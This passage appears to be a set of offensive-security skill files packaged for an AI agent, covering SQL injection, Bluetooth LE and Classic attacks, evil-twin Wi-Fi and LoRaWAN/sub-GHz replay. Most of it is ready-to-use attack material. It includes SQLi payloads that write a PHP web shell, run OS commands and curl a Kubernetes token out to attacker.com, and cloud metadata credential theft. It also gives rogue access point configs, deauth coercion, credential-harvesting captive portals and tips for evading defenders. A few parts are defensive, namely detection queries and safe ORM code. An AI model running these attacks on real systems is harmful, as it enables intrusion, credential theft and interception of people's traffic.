- Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
- Identify database type and enumerate schema
- Exploit to extract data, escalate privileges, or achieve RCE where in scope
- Document findings and suggest remediation
Detection
Basic Probes — All Input Vectors
' " ; -- /* */ # ) ( + , \ %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Error-Based Detection
Trigger syntax errors to reveal database type and query structure:
' '' ` " "" , % \
Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
Boolean-Based Blind
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
Observe response size/content differences between true and false conditions.
Time-Based Blind
-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --
JSON Operator Probes
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'
GraphQL → SQLi Pivot
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
WebSocket SQLi
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
REST API Filter Injection
POST /api/users/search
{
"filter": { "name": {"$regex": "admin' OR 1=1--"} },
"sort": "name'; DROP TABLE users--"
}
Automation Workflow
# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch
# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs
# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs
# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json
Exploitation
Determine Column Count (UNION)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Identify String Columns
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
Enumerate Schema
-- DB version
' UNION SELECT @@version -- -- MySQL/MSSQL
' UNION SELECT version() -- -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle
-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables -- -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables -- -- Oracle
-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
Blind Data Extraction
-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
Database-Specific Exploitation
MySQL / MariaDB
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --
-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
WHERE table_schema NOT IN ('mysql','information_schema') --
MSSQL
-- OS command execution
'; EXEC xp_cmdshell 'net user' --
-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
PostgreSQL
-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec; --
-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
Oracle
-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
NoSQL & Graph Injection
MongoDB
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
Neo4j / Cypher (CVE-2024-34517)
-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
Older Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.
WAF Bypass Techniques
| Technique | Example |
|---|---|
| Case variation | SeLeCt, UnIoN |
| Comment injection | UN/**/ION SE/**/LECT |
| URL encoding | UNION → %55%4E%49%4F%4E |
| Hex encoding | SELECT → 0x53454C454354 |
| Whitespace | UNION/**/SELECT |
| Null byte | %00' UNION SELECT password FROM users-- |
| Double encoding | %2f → %252f |
| String concat | MySQL: CONCAT('a','b'), Oracle: 'a'||'b', MSSQL: 'a'+'b' |
| JSON wrapper | Prefix with dummy JSON /**/{"a":1} to confuse WAF parsers |
SQLmap tamper scripts: Use the Atlas tool to suggest tampers; combine multiple (--tamper=space2comment,charencode) for layered WAFs.
HTTP/2 smuggling: Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.
Cloud-Specific Attack Paths
AWS
-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --
Azure
-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --
-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
GCP Cloud SQL
' UNION SELECT @@global.version_comment, @@hostname --
Lambda / Serverless Connection Pool Poisoning
// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
return await db.query("SELECT * FROM sensitive_data");
};
ORM CVE Tracking (2023–2025)
| ORM | CVE / Issue | Vulnerable Pattern |
|---|---|---|
| Sequelize | CVE-2023-22578 | sequelize.literal(\name = '${userInput}'`)` |
| TypeORM <0.3.12 | findOne injection | repository.findOne({ where: \id = ${id}` })` |
| Hibernate 6.x | Query cache poisoning | session.createQuery("FROM User WHERE name = '" + input + "'") |
| Prisma <4.11 | Raw query | prisma.$executeRawUnsafe(\SELECT * FROM users WHERE id = ${id}`)` |
Safe ORM patterns:
// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])
Quick-Reference Cheatsheet
| DB | Version | Time Delay | String Concat | Schema Source |
|---|---|---|---|---|
| MySQL | @@version |
SLEEP(5) |
CONCAT('a','b') |
information_schema.tables |
| MSSQL | @@version |
WAITFOR DELAY '0:0:5' |
'a'+'b' |
information_schema.tables, sys.tables |
| PostgreSQL | version() |
pg_sleep(5) |
'a'||'b' |
information_schema.tables |
| Oracle | banner FROM v$version |
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) |
'a'||'b' |
all_tables, all_tab_columns |
Detection & Monitoring Queries
Splunk:
index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
AWS CloudWatch Insights (RDS):
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)
Key References
- MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
- OWASP ASVS 4.0: V5.3.4 — parameterized queries required
- PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory
- CISA KEV Catalog — monitor for actively exploited SQLi CVEs
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md
Skills/wireless/offensive-bluetooth-ble/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-bluetooth-ble -g -y
SKILL.md
Frontmatter
{
"name": "offensive-bluetooth-ble",
"description": "Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read\/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) \/ Ubertooth \/ Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE."
}
Bluetooth Low Energy (BLE) Attacks
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Quick Workflow
- Discover and enumerate the device's GATT tree
- Test every characteristic for read/write/notify without authentication
- Inspect pairing method — Just Works = no MITM protection
- If Just Works, MITM the pairing to capture / inject
- Reverse the companion app for proprietary command formats
Discovery + GATT Enumeration
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
Common findings on consumer BLE devices:
- Door locks:
unlockcharacteristic accepts any write (no auth) - Smart bulbs: brightness/color writeable from any peer
- Wearables: PIN/lock-state readable
- BLE beacons: configurable from any peer (rebrand attacks)
Pairing Method Identification
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| Method | Security | Attack |
|---|---|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
Sniffing the Pairing Exchange
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
Active MITM During Pairing
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
Companion App Reverse Engineering
For vendor-defined characteristics, the format is in the app:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
Hand off to offensive-mobile for deeper companion analysis.
Specific Device Classes
Smart Locks
- Test
unlockcharacteristic for unauth write - Test if rolling token is replayable (capture-and-replay within window)
- Check for hardcoded LTK in firmware (chip-off + binary analysis — see
offensive-iot)
Cars (BLE Phone-as-Key)
- Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
- Pairing-state machine flaws
Medical Devices
- Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
- Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)
Beacons (iBeacon, Eddystone)
- Often configurable with default password (
0000,12345678, vendor-specific) - Rebrand for tracking-confusion or counter-marketing
Detection Considerations
- BLE has no native intrusion detection comparable to Wi-Fi WIDS
- Vendor cloud may detect anomalous characteristic patterns (rare)
- Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion
Engagement Cheatsheet
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk
Key References
- Sniffle: github.com/nccgroup/Sniffle
- crackle: github.com/mikeryan/crackle
- bettercap BLE module: bettercap.org
- Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP
- "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-bluetooth-classic/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-bluetooth-classic -g -y
SKILL.md
Frontmatter
{
"name": "offensive-bluetooth-classic",
"description": "Bluetooth Classic (BR\/EDR) attack methodology — device discovery, service enumeration via SDP, LMP\/L2CAP layer attacks, legacy PIN cracking (BlueBorne \/ KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial \/ automotive \/ accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR\/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories."
}
Bluetooth Classic (BR/EDR) Attacks
Older than BLE, less commonly attacked today, but still present in cars, industrial sensors, audio gear, and legacy enterprise hardware. Many of the well-known historic attacks (BlueSnarf, BlueBug) are mitigated; KNOB and the BlueBorne family remain relevant against unpatched devices.
Quick Workflow
- Discover devices with
hcitool/bluetoothctl/redfang - Enumerate exposed services via SDP
- Test each service profile for unauth access
- Check pairing crypto (KNOB applicability)
- Proximity-physical attacks for legacy / unpatched
Discovery
# Modern adapter (built-in or USB Bluetooth 4.0+)
sudo hciconfig hci0 up
sudo hcitool inq # inquiry
sudo hcitool scan --length=12 # 12-second scan
# bluetoothctl interactive
bluetoothctl
> scan on
> devices
# Discoverable-mode-only devices appear; non-discoverable need address brute
sudo redfang -r 00:00:00:00:00:00-FF:FF:FF:FF:FF:FF
# (very slow — ~7 hours per OUI prefix)
Service Discovery (SDP)
# List all services on a device
sdptool browse AA:BB:CC:DD:EE:FF
sdptool records AA:BB:CC:DD:EE:FF
Common profiles and their attack relevance:
| Profile | UUID | Attack |
|---|---|---|
| OBEX Object Push (OPP) | 0x1105 | BlueSnarf/BlueBug on legacy phones (mostly extinct) |
| OBEX File Transfer (FTP) | 0x1106 | Browse / write filesystem on legacy devices |
| Headset (HSP/HFP) | 0x1108 / 0x111E | Eavesdrop active call audio |
| Serial Port Profile (SPP) | 0x1101 | Industrial/IoT debug ports — often unauthenticated |
| HID | 0x1124 | Keyboard/mouse impersonation |
| Audio Sink/Source (A2DP) | 0x110B / 0x110A | Audio injection/eavesdrop |
SPP Abuse
The Serial Port Profile (SPP) tunnels arbitrary data over Bluetooth as a virtual COM port. Industrial / IoT devices use it for debug or telemetry, often without authentication.
# Connect to SPP service, channel typically 1
sudo rfcomm bind /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
sudo screen /dev/rfcomm0 9600
# Then interact with the device's CLI / debug menu
KNOB (CVE-2019-9506)
Forces Bluetooth pairing to negotiate a 1-byte encryption key — making the link key trivially brute-forceable.
# Test with internalblue (requires Broadcom firmware patch)
git clone https://github.com/seemoo-lab/internalblue
internalblue
> log keys
# Patch firmware to allow 1-byte key; pair with target; observe weak key
Patched in firmware on most modern devices. Still works against:
- Older Broadcom-based devices (pre-2019 BCM chipsets)
- Embedded automotive Bluetooth stacks
- Cheap consumer audio gear
BlueBorne (CVE-2017-1000251 et al.)
A family of buffer overflows / info leaks in major Bluetooth stacks (Linux BlueZ, Android, Windows, iOS). Mostly patched 2017–2018, but unpatched embedded Linux devices are common.
# Armis blueborne-scanner — checks for patch-level
git clone https://github.com/ArmisSecurity/blueborne
python blueborne_scanner.py AA:BB:CC:DD:EE:FF
HID Spoofing (PoC)
If pairing succeeds via Just Works or weak PIN, you can register as a HID device — keystroke injection on an unattended Bluetooth-paired host.
# bdaddr + HID example — register custom HID on rfcomm
hcitool dev
hciconfig hci0 class 0x000540 # HID device class
sdptool add HID
# Use a HID descriptor crafted as keyboard, send keystrokes
Audio Eavesdropping
If a target has Bluetooth headset paired and active, and you can re-pair (PIN brute or KNOB):
- HSP/HFP profiles let you become the peer and receive audio
- Some firmware allows simultaneous peer connections — eavesdrop without disrupting
Engagement Cheatsheet
# 1. Discover
sudo hcitool inq
# 2. Enumerate services per device
sdptool browse <MAC>
# 3. SPP (industrial/IoT) — connect and explore
sudo rfcomm bind /dev/rfcomm0 <MAC> 1
sudo screen /dev/rfcomm0 9600
# 4. Patch-level scan
python blueborne_scanner.py <MAC>
# 5. KNOB testing (with adapter that supports internalblue)
internalblue → log keys → re-pair target
# 6. Document profiles, auth state, exposed commands per device
Detection
- No native Bluetooth Classic IDS in most environments
- Active inquiry visible to nearby Bluetooth-aware monitoring (rare)
- Re-pairing prompts on target devices may surface to users
Reporting
- Identify chipset + firmware version per device (often visible in service records)
- Map CVE applicability (BlueBorne, KNOB, BlueFrag, et al.)
- Document specific profile abuses (SPP exposed without auth, HID spoofing successful, etc.)
Key References
- internalblue: github.com/seemoo-lab/internalblue
- KNOB attack: knobattack.com
- BlueBorne: armis.com/blueborne
- Bluetooth Core Spec — Volume 2 (BR/EDR Controller)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-evil-twin/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-evil-twin -g -y
SKILL.md
Frontmatter
{
"name": "offensive-evil-twin",
"description": "Evil Twin \/ KARMA \/ Mana access point methodology — rogue AP construction with hostapd-mana \/ wifiphisher \/ airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal\/web\/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal."
}
Evil Twin / KARMA / Mana
Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.
Quick Workflow
- Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
- Stand up rogue AP advertising matching ESSID(s)
- (Optional) Deauth clients off legitimate AP to push them toward yours
- Run captive portal / transparent MITM
- Capture creds, deliver payload, or harvest sessions
Variants
| Variant | Mechanic | Use Case |
|---|---|---|
| Evil Twin | Same ESSID + BSSID as legit AP | Open or PSK-known networks (ISP cafe Wi-Fi, public guest) |
| KARMA | Respond "yes" to every probe request | Clients with broad PNLs (most older devices) |
| Mana | Respond selectively to probes per-client | KARMA-aware MAC randomization defenses |
| Known Beacons | Beacon a list of likely-known ESSIDs | Wide-net attraction without seeing probes first |
| Captive Portal | Force splash page on association | Phishing, payload delivery |
Open / PSK-Known Evil Twin
Use when you know (or have cracked) the PSK.
# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal
# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &
# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1 # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d
KARMA — Universal Probe Response
# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf
Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.
Mana — Selective Per-Client Response
# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf
Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.
Known Beacons Attack
# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel
Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).
Deauth Coercion
Push existing clients off legitimate AP to your evil twin:
# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2
Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.
Detection trade-off: broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see offensive-deauth-disassoc.
Captive Portal / Credential Capture
# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads
# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080
For high-fidelity portals, mirror the legitimate captive portal's HTML/CSS exactly. Most users skim, don't read URLs.
Post-Association MITM
Once a client associates and you're their gateway:
# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)
mitmproxy --mode transparent --showhost --ssl-insecure
# Bettercap full pipeline (sniff, ARP, DNS, JS injection)
sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"
Without portal-level CA install, modern HTTPS / HSTS / certificate pinning prevents most TLS interception. Useful targets:
- Captive portal cleartext flows
- Apps with broken pinning (run
offensive-mobileskills against the app) - Plain-HTTP services still in use (legacy IoT, old mgmt panels)
- DNS hijack (return attacker IPs for non-pinned services)
MAC Randomization Defeat
iOS, recent Android, and Windows 11 randomize MACs per network. They still leak per-network stable identifiers in:
- Per-SSID MAC consistency (same MAC for same SSID over time)
- Probe sequence numbers
- 802.11 IE order (manufacturer fingerprint)
# Cluster probes to track devices across MACs
hcxdumptool -i wlan0mon --enable_status=15 --rds=2
# Analyze with hcxhash2cap / wifite-style fingerprinting
Detection Considerations
| Defender Signal | Mitigation by Attacker |
|---|---|
| Rogue AP detection (BSSID not in WIPS allow-list) | Match real BSSID exactly + suppress own AP advertisement |
| KARMA pattern (single AP responding to many ESSIDs) | Use Mana mode |
| RSSI delta (your AP closer than legit) | Run from a distance, lower TX power |
| Beacon timing inconsistency vs real AP | Match beacon interval, IE order |
| Captive portal HTML differs from real portal | Mirror exactly, refresh weekly |
Modern enterprise WIPS will flag KARMA almost immediately. Mana + matched BSSID is harder to detect without active de-cloaking by defenders.
Engagement Cheatsheet
# 1. Recon — passive observe target ESSIDs and clients (no probes from you)
sudo airodump-ng wlan0mon -w probes
# 2. Pick mode based on environment
# - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth
# - Open networks (cafe, airport): straight evil twin or KARMA
# - Heterogeneous device population: Mana
# 3. Stand up rogue AP
sudo hostapd-mana /tmp/mana.conf
sudo dnsmasq -C /tmp/dnsmasq.conf
# 4. Captive portal / payload delivery / MITM
mitmproxy --mode transparent --showhost --ssl-insecure
# 5. Coerce specific clients if needed (deauth on legit AP)
# 6. Document captures, sessions, and time-on-target
Key References
- hostapd-mana: github.com/sensepost/hostapd-mana
- wifiphisher: wifiphisher.org
- airgeddon: github.com/v1s1t0r1sh3r3/airgeddon
- KARMA / Mana original talks (DEF CON, Sensepost research)
- "Probing into the Past" research on PNL exploitation
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-lorawan-sub-ghz -g -y
SKILL.md
Frontmatter
{
"name": "offensive-lorawan-sub-ghz",
"description": "LoRaWAN and sub-GHz (433 \/ 868 \/ 915 MHz) attack methodology — LoRaWAN ABP\/OTAA join attack, network\/session key reuse, frame counter replay, downlink injection on TTN\/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF \/ RTL-SDR \/ Flipper Zero workflows, signal analysis with Inspectrum \/ Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433\/868\/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment)."
}
LoRaWAN & Sub-GHz Attacks
LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
Quick Workflow
- Identify the band + modulation (LoRa CSS vs. simple OOK/FSK)
- Capture transmissions with appropriate hardware (HackRF / RTL-SDR / Flipper Zero)
- For LoRaWAN: capture join + uplinks; analyze key derivation
- For proprietary sub-GHz: demodulate, identify packet format, replay or craft
Hardware
| Tool | Range | Use |
|---|---|---|
| RTL-SDR | RX only, 24 MHz–1.7 GHz | Cheap reconnaissance |
| HackRF One | RX/TX, 1 MHz–6 GHz | Full transceiver |
| Flipper Zero | RX/TX, sub-GHz | Quick replays, fixed-code attacks |
| LimeSDR / BladeRF | RX/TX, wider band | Higher fidelity for LoRaWAN |
| YARD Stick One | TX-focused sub-GHz | Targeted replays |
| LoRa-specific gateway (RAK / Heltec) | LoRaWAN dual-direction | Standards-compliant LoRaWAN testing |
LoRaWAN
LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:
- OTAA (Over-the-Air Activation) — derive session keys at join
- ABP (Activation By Personalization) — pre-flashed keys
OTAA Join Capture
# Capture LoRa packets with HackRF + Inspectrum
hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
# Or LoRa-specific: rak_common_for_gateway
# Decode with PHY + MAC stack
git clone https://github.com/Lora-net/LoRaMac-node
# Or use ChirpStack as a sniffing gateway
The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see offensive-iot):
- Decrypt Join-Accept → recover NwkSKey, AppSKey
- Subsequent traffic decryption + injection
ABP — Pre-Flashed Keys
ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:
- Same key across thousands of devices (vendor laziness)
- No frame counter rollover protection → replay any historical uplink
- DevAddr predictability (sequential allocation)
# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
git clone https://github.com/IoTsec/loraserver-attack-tools
python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>
Frame Counter Replay
Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.
Downlink Injection
If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.
Sub-GHz Proprietary Protocols
Quick Capture + Replay (Flipper Zero / HackRF)
# RTL-SDR live monitor
rtl_433 -f 433.92M -A # auto-decode many devices
gqrx # interactive spectrum analyzer
# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
# Then replay from the saved file
# HackRF capture
hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
# Inspectrum to visualize, identify OOK / FSK, decode bits
KeeLoq (Old Garage Doors, Some Cars)
